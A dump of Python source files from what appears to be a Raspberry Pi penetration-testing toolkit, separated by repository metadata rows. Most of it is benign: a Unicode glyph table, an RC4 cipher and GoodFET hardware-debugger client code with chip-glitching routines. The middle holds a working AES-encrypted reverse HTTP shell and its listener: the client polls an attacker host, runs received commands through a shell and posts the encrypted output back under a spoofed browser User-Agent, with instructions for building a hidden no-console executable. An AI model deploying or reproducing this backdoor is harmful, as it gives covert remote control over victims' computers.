u'\u315B', 'yosmallhiragana': u'\u3087', 'yosmallkatakana': u'\u30E7', 'yosmallkatakanahalfwidth': u'\uFF6E', 'yotgreek': u'\u03F3', 'yoyaekorean': u'\u3188', 'yoyakorean': u'\u3187', 'yoyakthai': u'\u0E22', 'yoyingthai': u'\u0E0D', 'yparen': u'\u24B4', 'ypogegrammeni': u'\u037A', 'ypogegrammenigreekcmb': u'\u0345', 'yr': u'\u01A6', 'yring': u'\u1E99', 'ysuperior': u'\u02B8', 'ytilde': u'\u1EF9', 'yturned': u'\u028E', 'yuhiragana': u'\u3086', 'yuikorean': u'\u318C', 'yukatakana': u'\u30E6', 'yukatakanahalfwidth': u'\uFF95', 'yukorean': u'\u3160', 'yusbigcyrillic': u'\u046B', 'yusbigiotifiedcyrillic': u'\u046D', 'yuslittlecyrillic': u'\u0467', 'yuslittleiotifiedcyrillic': u'\u0469', 'yusmallhiragana': u'\u3085', 'yusmallkatakana': u'\u30E5', 'yusmallkatakanahalfwidth': u'\uFF6D', 'yuyekorean': u'\u318B', 'yuyeokorean': u'\u318A', 'yyabengali': u'\u09DF', 'yyadeva': u'\u095F', 'z': u'\u007A', 'zaarmenian': u'\u0566', 'zacute': u'\u017A', 'zadeva': u'\u095B', 'zagurmukhi': u'\u0A5B', 'zaharabic': u'\u0638', 'zahfinalarabic': u'\uFEC6', 'zahinitialarabic': u'\uFEC7', 'zahiragana': u'\u3056', 'zahmedialarabic': u'\uFEC8', 'zainarabic': u'\u0632', 'zainfinalarabic': u'\uFEB0', 'zakatakana': u'\u30B6', 'zaqefgadolhebrew': u'\u0595', 'zaqefqatanhebrew': u'\u0594', 'zarqahebrew': u'\u0598', 'zayin': u'\u05D6', 'zayindagesh': u'\uFB36', 'zayindageshhebrew': u'\uFB36', 'zayinhebrew': u'\u05D6', 'zbopomofo': u'\u3117', 'zcaron': u'\u017E', 'zcircle': u'\u24E9', 'zcircumflex': u'\u1E91', 'zcurl': u'\u0291', 'zdot': u'\u017C', 'zdotaccent': u'\u017C', 'zdotbelow': u'\u1E93', 'zecyrillic': u'\u0437', 'zedescendercyrillic': u'\u0499', 'zedieresiscyrillic': u'\u04DF', 'zehiragana': u'\u305C', 'zekatakana': u'\u30BC', 'zero': u'\u0030', 'zeroarabic': u'\u0660', 'zerobengali': u'\u09E6', 'zerodeva': u'\u0966', 'zerogujarati': u'\u0AE6', 'zerogurmukhi': u'\u0A66', 'zerohackarabic': u'\u0660', 'zeroinferior': u'\u2080', 'zeromonospace': u'\uFF10', 'zerooldstyle': u'\uF730', 'zeropersian': u'\u06F0', 'zerosuperior': u'\u2070', 'zerothai': u'\u0E50', 'zerowidthjoiner': u'\uFEFF', 'zerowidthnonjoiner': u'\u200C', 'zerowidthspace': u'\u200B', 'zeta': u'\u03B6', 'zhbopomofo': u'\u3113', 'zhearmenian': u'\u056A', 'zhebrevecyrillic': u'\u04C2', 'zhecyrillic': u'\u0436', 'zhedescendercyrillic': u'\u0497', 'zhedieresiscyrillic': u'\u04DD', 'zihiragana': u'\u3058', 'zikatakana': u'\u30B8', 'zinorhebrew': u'\u05AE', 'zlinebelow': u'\u1E95', 'zmonospace': u'\uFF5A', 'zohiragana': u'\u305E', 'zokatakana': u'\u30BE', 'zparen': u'\u24B5', 'zretroflexhook': u'\u0290', 'zstroke': u'\u01B6', 'zuhiragana': u'\u305A', 'zukatakana': u'\u30BA', } #--end
121,501
Python
.py
4,332
26.056556
85
0.664635
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,822
arcfour.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/arcfour.py
#!/usr/bin/env python2 """ Python implementation of Arcfour encryption algorithm. This code is in the public domain. """ ## Arcfour ## class Arcfour(object): """ >>> Arcfour('Key').process('Plaintext').encode('hex') 'bbf316e8d940af0ad3' >>> Arcfour('Wiki').process('pedia').encode('hex') '1021bf0420' >>> Arcfour('Secret').process('Attack at dawn').encode('hex') '45a01f645fc35b383552544b9bf5' """ def __init__(self, key): s = range(256) j = 0 klen = len(key) for i in xrange(256): j = (j + s[i] + ord(key[i % klen])) % 256 (s[i], s[j]) = (s[j], s[i]) self.s = s (self.i, self.j) = (0, 0) return def process(self, data): (i, j) = (self.i, self.j) s = self.s r = '' for c in data: i = (i+1) % 256 j = (j+s[i]) % 256 (s[i], s[j]) = (s[j], s[i]) k = s[(s[i]+s[j]) % 256] r += chr(ord(c) ^ k) (self.i, self.j) = (i, j) return r # test if __name__ == '__main__': import doctest doctest.testmod()
1,136
Python
.py
41
20.756098
65
0.483901
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,823
shell.py
pwnieexpress_raspberry_pwn/src/pentest/revshells/encrypted_http_shell/shell.py
#!/usr/bin/python ########################################################################################################################## # # # AES Encrypted Reverse HTTP Shell by: # # Dave Kennedy (ReL1K) # http://www.secmaniac.com # ########################################################################################################################## # ########################################################################################################################## # # To compile, you will need pyCrypto, it's a pain to install if you do it from source, should get the binary modules # to make it easier. Can download from here: # http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip # ########################################################################################################################## # # This shell works on any platform you want to compile it in. OSX, Windows, Linux, etc. # ########################################################################################################################## # ########################################################################################################################## # # Below is the steps used to compile the binary. py2exe requires a dll to be used in conjunction # so py2exe was not used. Instead, pyinstaller was used in order to byte compile the binary. # ########################################################################################################################## # # export VERSIONER_PYTHON_PREFER_32_BIT=yes # python Configure.py # python Makespec.py --onefile --noconsole shell.py # python Build.py shell/shell.spec # ########################################################################################################################### import urllib import urllib2 import httplib import subprocess import sys import base64 import os from Crypto.Cipher import AES # the block size for the cipher object; must be 16, 24, or 32 for AES BLOCK_SIZE = 32 # the character used for padding--with a block cipher such as AES, the value # you encrypt must be a multiple of BLOCK_SIZE in length. This character is # used to ensure that your value is always a multiple of BLOCK_SIZE PADDING = '{' # one-liner to sufficiently pad the text to be encrypted pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING # one-liners to encrypt/encode and decrypt/decode a string # encrypt with AES, encode with base64 EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) # secret key, change this if you want to be unique secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" # create a cipher object using the random secret cipher = AES.new(secret) # TURN THIS ON IF YOU WANT PROXY SUPPORT PROXY_SUPPORT = "OFF" # THIS WILL BE THE PROXY URL PROXY_URL = "http://proxyinfo:80" # USERNAME FOR THE PROXY USERNAME = "username" # PASSWORD FOR THE PROXY PASSWORD = "password" # here is where we set all of our proxy settings if PROXY_SUPPORT == "ON": auth_handler = urllib2.HTTPBasicAuthHandler() auth_handler.add_password(realm='RESTRICTED ACCESS', uri=PROXY_URL, # PROXY SPECIFIED ABOVE user=USERNAME, # USERNAME SPECIFIED ABOVE passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) try: # our reverse listener ip address address = sys.argv[1] # our reverse listener port address port = sys.argv[2] # except that we didn't pass parameters except IndexError: print " \nAES Encrypted Reverse HTTP Shell by:" print " Dave Kennedy (ReL1K)" print " http://www.secmaniac.com" print "Usage: shell.exe <reverse_ip_address> <port>" sys.exit() # loop forever while 1: # open up our request handelr req = urllib2.Request('http://%s:%s' % (address,port)) # grab our response which contains what command we want message = urllib2.urlopen(req) # base64 unencode message = base64.b64decode(message.read()) # decrypt the communications message = DecodeAES(cipher, message) # quit out if we receive that command if message == "quit" or message == "exit": sys.exit() # issue the shell command we want proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # read out the data of stdout data = proc.stdout.read() + proc.stderr.read() # encrypt the data data = EncodeAES(cipher, data) # base64 encode the data data = base64.b64encode(data) # urlencode the data from stdout data = urllib.urlencode({'cmd': '%s'}) % (data) # who we want to connect back to with the shell h = httplib.HTTPConnection('%s:%s' % (address,port)) # set our basic headers headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} # actually post the data h.request('POST', '/index.aspx', data, headers)
5,129
Python
.py
118
40.711864
169
0.578431
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,824
server.py
pwnieexpress_raspberry_pwn/src/pentest/revshells/encrypted_http_shell/server.py
#!/usr/bin/python ############################################ # # # AES Encrypted Reverse HTTP Listener by: # # Dave Kennedy (ReL1K) # http://www.secmaniac.com # # ############################################ from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer import urlparse import re import os import base64 from Crypto.Cipher import AES # the block size for the cipher object; must be 16, 24, or 32 for AES BLOCK_SIZE = 32 # the character used for padding--with a block cipher such as AES, the value # you encrypt must be a multiple of BLOCK_SIZE in length. This character is # used to ensure that your value is always a multiple of BLOCK_SIZE PADDING = '{' # one-liner to sufficiently pad the text to be encrypted pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING # one-liners to encrypt/encode and decrypt/decode a string # encrypt with AES, encode with base64 EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) # 32 character secret key - change this if you want to be unique secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" # create a cipher object using the random secret cipher = AES.new(secret) # url decode for postbacks def htc(m): return chr(int(m.group(1),16)) # url decode def urldecode(url): rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M) return rex.sub(htc,url) class GetHandler(BaseHTTPRequestHandler): # handle get request def do_GET(self): # this will be our shell command message = raw_input("shell> ") # send a 200 OK response self.send_response(200) # end headers self.end_headers() # encrypt the message message = EncodeAES(cipher, message) # base64 it message = base64.b64encode(message) # write our command shell param to victim self.wfile.write(message) # return out return # handle post request def do_POST(self): # send a 200 OK response self.send_response(200) # # end headers self.end_headers() # grab the length of the POST data length = int(self.headers.getheader('content-length')) # read in the length of the POST data qs = self.rfile.read(length) # url decode url=urldecode(qs) # remove the parameter cmd url=url.replace("cmd=", "") # base64 decode message = base64.b64decode(url) # decrypt the string message = DecodeAES(cipher, message) # display the command back decrypted print message if __name__ == '__main__': # bind to all interfaces server = HTTPServer(('', 80), GetHandler) print """############################################ # # # AES Encrypted Reverse HTTP Listener by: # # Dave Kennedy (ReL1K) # http://www.secmaniac.com # # ############################################""" print 'Starting encrypted web shell server, use <Ctrl-C> to stop' # simple try block try: # serve and listen forever server.serve_forever() # handle keyboard interrupts except KeyboardInterrupt: print "[!] Exiting the encrypted webserver shell.. hack the gibson."
3,184
Python
.py
99
28.727273
76
0.658854
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,825
GoodFET.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFET.py
#!/usr/bin/env python # GoodFET Client Library # # (C) 2009 Travis Goodspeed <travis at radiantmachines.com> # # This code is being rewritten and refactored. You've been warned! import sys, time, string, cStringIO, struct, glob, serial, os; import sqlite3; fmt = ("B", "<H", None, "<L") def getClient(name="GoodFET"): import GoodFET, GoodFETCC, GoodFETAVR, GoodFETSPI, GoodFETMSP430, GoodFETNRF; if(name=="GoodFET" or name=="monitor"): return GoodFET.GoodFET(); elif name=="cc" or name=="chipcon": return GoodFETCC.GoodFETCC(); elif name=="avr": return GoodFETAVR.GoodFETAVR(); elif name=="spi": return GoodFETSPI.GoodFETSPI(); elif name=="msp430": return GoodFETMSP430.GoodFETMSP430(); elif name=="nrf": return GoodFETNRF.GoodFETNRF(); print "Unsupported target: %s" % name; sys.exit(0); class SymbolTable: """GoodFET Symbol Table""" db=sqlite3.connect(":memory:"); def __init__(self, *args, **kargs): self.db.execute("create table if not exists symbols(adr,name,memory,size,comment);"); def get(self,name): self.db.commit(); c=self.db.cursor(); try: c.execute("select adr,memory from symbols where name=?",(name,)); for row in c: #print "Found it."; sys.stdout.flush(); return row[0]; #print "No dice."; except:# sqlite3.OperationalError: #print "SQL error."; return eval(name); return eval(name); def define(self,adr,name,comment="",memory="vn",size=16): self.db.execute("insert into symbols(adr,name,memory,size,comment)" "values(?,?,?,?,?);", ( adr,name,memory,size,comment)); #print "Set %s=%s." % (name,adr); class GoodFET: """GoodFET Client Library""" besilent=0; app=0; verb=0; count=0; data=""; verbose=False GLITCHAPP=0x71; MONITORAPP=0x00; symbols=SymbolTable(); def __init__(self, *args, **kargs): self.data=[0]; def getConsole(self): from GoodFETConsole import GoodFETConsole; return GoodFETConsole(self); def name2adr(self,name): return self.symbols.get(name); def timeout(self): print "timeout\n"; def serInit(self, port=None, timeout=2): """Open the serial port""" # Make timeout None to wait forever, 0 for non-blocking mode. if port is None and os.environ.get("GOODFET")!=None: glob_list = glob.glob(os.environ.get("GOODFET")); if len(glob_list) > 0: port = glob_list[0]; else: port = os.environ.get("GOODFET"); if port is None: glob_list = glob.glob("/dev/tty.usbserial*"); if len(glob_list) > 0: port = glob_list[0]; if port is None: glob_list = glob.glob("/dev/ttyUSB*"); if len(glob_list) > 0: port = glob_list[0]; if os.name=='nt': from scanwin32 import winScan; scan=winScan(); for order,comport,desc,hwid in sorted(scan.comports()): if hwid.index('FTDI')==0: port=comport; #print "Using FTDI port %s" % port self.serialport = serial.Serial( port, #9600, 115200, parity = serial.PARITY_NONE, timeout=timeout ) self.verb=0; attempts=0; connected=0; while connected==0: while self.verb!=0x7F or self.data!="http://goodfet.sf.net/": #print "Resyncing."; self.serialport.flushInput() self.serialport.flushOutput() #Explicitly set RTS and DTR to halt board. self.serialport.setRTS(1); self.serialport.setDTR(1); #Drop DTR, which is !RST, low to begin the app. self.serialport.setDTR(0); self.serialport.flushInput() self.serialport.flushOutput() #time.sleep(60); attempts=attempts+1; self.readcmd(); #Read the first command. #Here we have a connection, but maybe not a good one. connected=1; olds=self.infostring(); clocking=self.monitorclocking(); for foo in range(1,30): if not self.monitorecho(): if self.verbose: print "Comm error on %i try, resyncing out of %s." % (foo, clocking); connected=0; break; if self.verbose: print "Connected after %02i attempts." % attempts; self.mon_connected(); def getbuffer(self,size=0x1c00): writecmd(0,0xC2,[size&0xFF,(size>>16)&0xFF]); print "Got %02x%02x buffer size." % (self.data[1],self.data[0]); def writecmd(self, app, verb, count=0, data=[]): """Write a command and some data to the GoodFET.""" self.serialport.write(chr(app)); self.serialport.write(chr(verb)); #if data!=None: # count=len(data); #Initial count ignored. #print "TX %02x %02x %04x" % (app,verb,count); #little endian 16-bit length self.serialport.write(chr(count&0xFF)); self.serialport.write(chr(count>>8)); if self.verbose: print "Tx: ( 0x%02x, 0x%02x, 0x%04x )" % ( app, verb, count ) #print "count=%02x, len(data)=%04x" % (count,len(data)); if count!=0: if(isinstance(data,list)): for i in range(0,count): #print "Converting %02x at %i" % (data[i],i) data[i]=chr(data[i]); #print type(data); outstr=''.join(data); self.serialport.write(outstr); if not self.besilent: return self.readcmd() else: return [] def readcmd(self): """Read a reply from the GoodFET.""" while 1:#self.serialport.inWaiting(): # Loop while input data is available try: #print "Reading..."; self.app=ord(self.serialport.read(1)); #print "APP=%2x" % self.app; self.verb=ord(self.serialport.read(1)); #print "VERB=%02x" % self.verb; self.count=( ord(self.serialport.read(1)) +(ord(self.serialport.read(1))<<8) ); if self.verbose: print "Rx: ( 0x%02x, 0x%02x, 0x%04x )" % ( self.app, self.verb, self.count ) #Debugging string; print, but wait. if self.app==0xFF: if self.verb==0xFF: print "# DEBUG %s" % self.serialport.read(self.count) elif self.verb==0xFE: print "# DEBUG 0x%x" % struct.unpack(fmt[self.count-1], self.serialport.read(self.count))[0] sys.stdout.flush(); else: self.data=self.serialport.read(self.count); return self.data; except TypeError: if self.connected: print "Error: waiting for serial read timed out (most likely)."; print "This shouldn't happen after syncing. Exiting for safety."; sys.exit(-1) return self.data; #Glitching stuff. def glitchApp(self,app): """Glitch into a device by its application.""" self.data=[app&0xff]; self.writecmd(self.GLITCHAPP,0x80,1,self.data); #return ord(self.data[0]); def glitchVerb(self,app,verb,data): """Glitch during a transaction.""" if data==None: data=[]; self.data=[app&0xff, verb&0xFF]+data; self.writecmd(self.GLITCHAPP,0x81,len(self.data),self.data); #return ord(self.data[0]); def glitchstart(self): """Glitch into the AVR application.""" self.glitchVerb(self.APP,0x20,None); def glitchstarttime(self): """Measure the timer of the START verb.""" return self.glitchTime(self.APP,0x20,None); def glitchTime(self,app,verb,data): """Time the execution of a verb.""" if data==None: data=[]; self.data=[app&0xff, verb&0xFF]+data; self.writecmd(self.GLITCHAPP,0x82,len(self.data),self.data); return ord(self.data[0])+(ord(self.data[1])<<8); def glitchVoltages(self,low=0x0880, high=0x0fff): """Set glitching voltages. (0x0fff is max.)""" self.data=[low&0xff, (low>>8)&0xff, high&0xff, (high>>8)&0xff]; self.writecmd(self.GLITCHAPP,0x90,4,self.data); #return ord(self.data[0]); def glitchRate(self,count=0x0800): """Set glitching count period.""" self.data=[count&0xff, (count>>8)&0xff]; self.writecmd(self.GLITCHAPP,0x91,2, self.data); #return ord(self.data[0]); #Monitor stuff def silent(self,s=0): """Transmissions halted when 1.""" self.besilent=s; print "besilent is %i" % self.besilent; self.writecmd(0,0xB0,1,[s]); connected=0; def mon_connected(self): """Announce to the monitor that the connection is good.""" self.connected=1; self.writecmd(0,0xB1,0,[]); def out(self,byte): """Write a byte to P5OUT.""" self.writecmd(0,0xA1,1,[byte]); def dir(self,byte): """Write a byte to P5DIR.""" self.writecmd(0,0xA0,1,[byte]); def call(self,adr): """Call to an address.""" self.writecmd(0,0x30,2, [adr&0xFF,(adr>>8)&0xFF]); def execute(self,code): """Execute supplied code.""" self.writecmd(0,0x31,2,#len(code), code); def peekbyte(self,address): """Read a byte of memory from the monitor.""" self.data=[address&0xff,address>>8]; self.writecmd(0,0x02,2,self.data); #self.readcmd(); return ord(self.data[0]); def peekword(self,address): """Read a word of memory from the monitor.""" return self.peekbyte(address)+(self.peekbyte(address+1)<<8); def peek(self,address): """Read a word of memory from the monitor.""" return self.peekbyte(address)+(self.peekbyte(address+1)<<8); def pokebyte(self,address,value): """Set a byte of memory by the monitor.""" self.data=[address&0xff,address>>8,value]; self.writecmd(0,0x03,3,self.data); return ord(self.data[0]); def dumpmem(self,begin,end): i=begin; while i<end: print "%04x %04x" % (i, self.peekword(i)); i+=2; def monitor_ram_pattern(self): """Overwrite all of RAM with 0xBEEF.""" self.writecmd(0,0x90,0,self.data); return; def monitor_ram_depth(self): """Determine how many bytes of RAM are unused by looking for 0xBEEF..""" self.writecmd(0,0x91,0,self.data); return ord(self.data[0])+(ord(self.data[1])<<8); #Baud rates. baudrates=[115200, 9600, 19200, 38400, 57600, 115200]; def setBaud(self,baud): """Change the baud rate. TODO fix this.""" rates=self.baudrates; self.data=[baud]; print "Changing FET baud." self.serialport.write(chr(0x00)); self.serialport.write(chr(0x80)); self.serialport.write(chr(1)); self.serialport.write(chr(baud)); print "Changed host baud." self.serialport.setBaudrate(rates[baud]); time.sleep(1); self.serialport.flushInput() self.serialport.flushOutput() print "Baud is now %i." % rates[baud]; return; def readbyte(self): return ord(self.serialport.read(1)); def findbaud(self): for r in self.baudrates: print "\nTrying %i" % r; self.serialport.setBaudrate(r); #time.sleep(1); self.serialport.flushInput() self.serialport.flushOutput() for i in range(1,10): self.readbyte(); print "Read %02x %02x %02x %02x" % ( self.readbyte(),self.readbyte(),self.readbyte(),self.readbyte()); def monitortest(self): """Self-test several functions through the monitor.""" print "Performing monitor self-test."; self.monitorclocking(); for f in range(0,3000): a=self.peekword(0x0c00); b=self.peekword(0x0c02); if a!=0x0c04 and a!=0x0c06: print "ERROR Fetched %04x, %04x" % (a,b); self.pokebyte(0x0021,0); #Drop LED if self.peekbyte(0x0021)!=0: print "ERROR, P1OUT not cleared."; self.pokebyte(0x0021,1); #Light LED if not self.monitorecho(): print "Echo test failed."; print "Self-test complete."; self.monitorclocking(); def monitorecho(self): data="The quick brown fox jumped over the lazy dog."; self.writecmd(self.MONITORAPP,0x81,len(data),data); if self.data!=data: if self.verbose: print "Comm error recognized by monitorecho()."; return 0; return 1; def monitorclocking(self): DCOCTL=self.peekbyte(0x0056); BCSCTL1=self.peekbyte(0x0057); return "0x%02x, 0x%02x" % (DCOCTL, BCSCTL1); # The following functions ought to be implemented in # every client. def infostring(self): a=self.peekbyte(0xff0); b=self.peekbyte(0xff1); return "%02x%02x" % (a,b); def lock(self): print "Locking Unsupported."; def erase(self): print "Erasure Unsupported."; def setup(self): return; def start(self): return; def test(self): print "Unimplemented."; return; def status(self): print "Unimplemented."; return; def halt(self): print "Unimplemented."; return; def resume(self): print "Unimplemented."; return; def getpc(self): print "Unimplemented."; return 0xdead; def flash(self,file): """Flash an intel hex file to code memory.""" print "Flash not implemented."; def dump(self,file,start=0,stop=0xffff): """Dump an intel hex file from code memory.""" print "Dump not implemented."; def peek32(self,address, memory="vn"): return (self.peek16(address,memory)+ (self.peek16(address+2,memory)<<16)); def peek16(self,address, memory="vn"): return (self.peek8(address,memory)+ (self.peek8(address+1,memory)<<8)); def peek8(self,address, memory="vn"): return self.peekbyte(address); #monitor def peekword(self,address, memory="vn"): return self.peek(address); #monitor def loadsymbols(self): return;
15,345
Python
.py
385
28.909091
116
0.55939
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,826
GoodFETCC.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFETCC.py
#!/usr/bin/env python # GoodFET Client Library # # (C) 2009 Travis Goodspeed <travis at radiantmachines.com> # # This code is being rewritten and refactored. You've been warned! import sys; import binascii; from GoodFET import GoodFET; from intelhex import IntelHex; import xml.dom.minidom; class GoodFETCC(GoodFET): """A GoodFET variant for use with Chipcon 8051 Zigbee SoC.""" APP=0x30; smartrfpath="/opt/smartrf7"; def loadsymbols(self): try: self.SRF_loadsymbols(); except: if self.verbose==1: print "SmartRF load failed."; def SRF_chipdom(self,chip="cc1110", doc="register_definition.xml"): fn="%s/config/xml/%s/%s" % (self.smartrfpath,chip,doc); #print "Opening %s" % fn; return xml.dom.minidom.parse(fn) def CMDrs(self,args=[]): """Chip command to grab the radio state.""" self.SRF_radiostate(); def SRF_bitfieldstr(self,bf): name="unused"; start=0; stop=0; access=""; reset="0x00"; description=""; for e in bf.childNodes: if e.localName=="Name" and e.childNodes: name= e.childNodes[0].nodeValue; elif e.localName=="Start": start=e.childNodes[0].nodeValue; elif e.localName=="Stop": stop=e.childNodes[0].nodeValue; return " [%s:%s] %30s " % (start,stop,name); def SRF_radiostate(self): ident=self.CCident(); chip=self.CCversions.get(ident&0xFF00); dom=self.SRF_chipdom(chip,"register_definition.xml"); for e in dom.getElementsByTagName("registerdefinition"): for f in e.childNodes: if f.localName=="DeviceName": print "// %s RadioState" % (f.childNodes[0].nodeValue); elif f.localName=="Register": name="unknownreg"; address="0xdead"; description=""; bitfields=""; for g in f.childNodes: if g.localName=="Name": name=g.childNodes[0].nodeValue; elif g.localName=="Address": address=g.childNodes[0].nodeValue; elif g.localName=="Description": if g.childNodes: description=g.childNodes[0].nodeValue; elif g.localName=="Bitfield": bitfields+="%17s/* %-50s */\n" % ("",self.SRF_bitfieldstr(g)); #print "SFRX(%10s, %s); /* %50s */" % (name,address, description); print "%-10s=0x%02x; /* %-50s */" % ( name,self.CCpeekdatabyte(eval(address)), description); if bitfields!="": print bitfields.rstrip(); def RF_getrssi(self): """Returns the received signal strenght, from 0 to 1.""" rssireg=self.symbols.get("RSSI"); return self.CCpeekdatabyte(rssireg); def SRF_loadsymbols(self): ident=self.CCident(); chip=self.CCversions.get(ident&0xFF00); dom=self.SRF_chipdom(chip,"register_definition.xml"); for e in dom.getElementsByTagName("registerdefinition"): for f in e.childNodes: if f.localName=="Register": name="unknownreg"; address="0xdead"; description=""; bitfields=""; for g in f.childNodes: if g.localName=="Name": name=g.childNodes[0].nodeValue; elif g.localName=="Address": address=g.childNodes[0].nodeValue; elif g.localName=="Description": if g.childNodes: description=g.childNodes[0].nodeValue; elif g.localName=="Bitfield": bitfields+="%17s/* %-50s */\n" % ("",self.SRF_bitfieldstr(g)); #print "SFRX(%10s, %s); /* %50s */" % (name,address, description); self.symbols.define(eval(address),name,description,"data"); def halt(self): """Halt the CPU.""" self.CChaltcpu(); def CChaltcpu(self): """Halt the CPU.""" self.writecmd(self.APP,0x86,0,self.data); def resume(self): self.CCreleasecpu(); def CCreleasecpu(self): """Resume the CPU.""" self.writecmd(self.APP,0x87,0,self.data); def test(self): self.CCreleasecpu(); self.CChaltcpu(); #print "Status: %s" % self.CCstatusstr(); #Grab ident three times, should be equal. ident1=self.CCident(); ident2=self.CCident(); ident3=self.CCident(); if(ident1!=ident2 or ident2!=ident3): print "Error, repeated ident attempts unequal." print "%04x, %04x, %04x" % (ident1, ident2, ident3); #Single step, printing PC. print "Tracing execution at startup." for i in range(1,15): pc=self.CCgetPC(); byte=self.CCpeekcodebyte(i); #print "PC=%04x, %02x" % (pc, byte); self.CCstep_instr(); print "Verifying that debugging a NOP doesn't affect the PC." for i in range(1,15): pc=self.CCgetPC(); self.CCdebuginstr([0x00]); if(pc!=self.CCgetPC()): print "ERROR: PC changed during CCdebuginstr([NOP])!"; print "Checking pokes to XRAM." for i in range(0xf000,0xf020): self.CCpokedatabyte(i,0xde); if(self.CCpeekdatabyte(i)!=0xde): print "Error in XDATA at 0x%04x" % i; #print "Status: %s." % self.CCstatusstr(); #Exit debugger self.stop(); print "Done."; def setup(self): """Move the FET into the CC2430/CC2530 application.""" #print "Initializing Chipcon."; self.writecmd(self.APP,0x10,0,self.data); def CCrd_config(self): """Read the config register of a Chipcon.""" self.writecmd(self.APP,0x82,0,self.data); return ord(self.data[0]); def CCwr_config(self,config): """Write the config register of a Chipcon.""" self.writecmd(self.APP,0x81,1,[config&0xFF]); def CClockchip(self): """Set the flash lock bit in info mem.""" self.writecmd(self.APP, 0x9A, 0, None); def lock(self): """Set the flash lock bit in info mem.""" self.CClockchip(); CCversions={0x0100:"cc1110", 0x8500:"cc2430", 0x8900:"cc2431", 0x8100:"cc2510", 0x9100:"cc2511", 0xA500:"cc2530", #page 52 of SWRU191 0xB500:"cc2531", 0xFF00:"CCmissing"}; CCpagesizes={0x01: 1024, #"CC1110", 0x85: 2048, #"CC2430", 0x89: 2048, #"CC2431", 0x81: 1024, #"CC2510", 0x91: 1024, #"CC2511", 0xA5: 2048, #"CC2530", #page 52 of SWRU191 0xB5: 2048, #"CC2531", 0xFF: 0 } #"CCmissing"}; def infostring(self): return self.CCidentstr(); def CCidentstr(self): ident=self.CCident(); chip=self.CCversions.get(ident&0xFF00); return "%s/r%02x" % (chip, ident&0xFF); def CCident(self): """Get a chipcon's ID.""" self.writecmd(self.APP,0x8B,0,None); chip=ord(self.data[0]); rev=ord(self.data[1]); return (chip<<8)+rev; def CCpagesize(self): """Get a chipcon's ID.""" self.writecmd(self.APP,0x8B,0,None); chip=ord(self.data[0]); size=self.CCpagesizes.get(chip); if(size<10): print "ERROR: Pagesize undefined."; print "chip=%02x" %chip; sys.exit(1); #return 2048; return size; def getpc(self): return self.CCgetPC(); def CCgetPC(self): """Get a chipcon's PC.""" self.writecmd(self.APP,0x83,0,None); hi=ord(self.data[0]); lo=ord(self.data[1]); return (hi<<8)+lo; def CCcmd(self,phrase): self.writecmd(self.APP,0x00,len(phrase),phrase); val=ord(self.data[0]); print "Got %02x" % val; return val; def CCdebuginstr(self,instr): self.writecmd(self.APP,0x88,len(instr),instr); return ord(self.data[0]); def peek8(self,address, memory="code"): if(memory=="code" or memory=="flash" or memory=="vn"): return self.CCpeekcodebyte(address); elif(memory=="data" or memory=="xdata" or memory=="ram"): return self.CCpeekdatabyte(address); elif(memory=="idata" or memory=="iram"): return self.CCpeekirambyte(address); print "%s is an unknown memory." % memory; return 0xdead; def CCpeekcodebyte(self,adr): """Read the contents of code memory at an address.""" self.data=[adr&0xff, (adr&0xff00)>>8]; self.writecmd(self.APP,0x90,2,self.data); return ord(self.data[0]); def CCpeekdatabyte(self,adr): """Read the contents of data memory at an address.""" self.data=[adr&0xff, (adr&0xff00)>>8]; self.writecmd(self.APP,0x91, 2, self.data); return ord(self.data[0]); def CCpeekirambyte(self,adr): """Read the contents of IRAM at an address.""" self.data=[adr&0xff]; self.writecmd(self.APP,0x02, 1, self.data); return ord(self.data[0]); def CCpeekiramword(self,adr): """Read the little-endian contents of IRAM at an address.""" return self.CCpeekirambyte(adr)+( self.CCpeekirambyte(adr+1)<<8); def CCpokeiramword(self,adr,val): self.CCpokeirambyte(adr,val&0xff); self.CCpokeirambyte(adr+1,(val>>8)&0xff); def CCpokeirambyte(self,adr,val): """Write the contents of IRAM at an address.""" self.data=[adr&0xff, val&0xff]; self.writecmd(self.APP,0x02, 2, self.data); return ord(self.data[0]); def CCpokedatabyte(self,adr,val): """Write a byte to data memory.""" self.data=[adr&0xff, (adr&0xff00)>>8, val]; self.writecmd(self.APP, 0x92, 3, self.data); return ord(self.data[0]); def CCchiperase(self): """Erase all of the target's memory.""" self.writecmd(self.APP,0x80,0,None); def erase(self): """Erase all of the target's memory.""" self.CCchiperase(); def CCstatus(self): """Check the status.""" self.writecmd(self.APP,0x84,0,None); return ord(self.data[0]) #Same as CC2530 CCstatusbits={0x80 : "erase_busy", 0x40 : "pcon_idle", 0x20 : 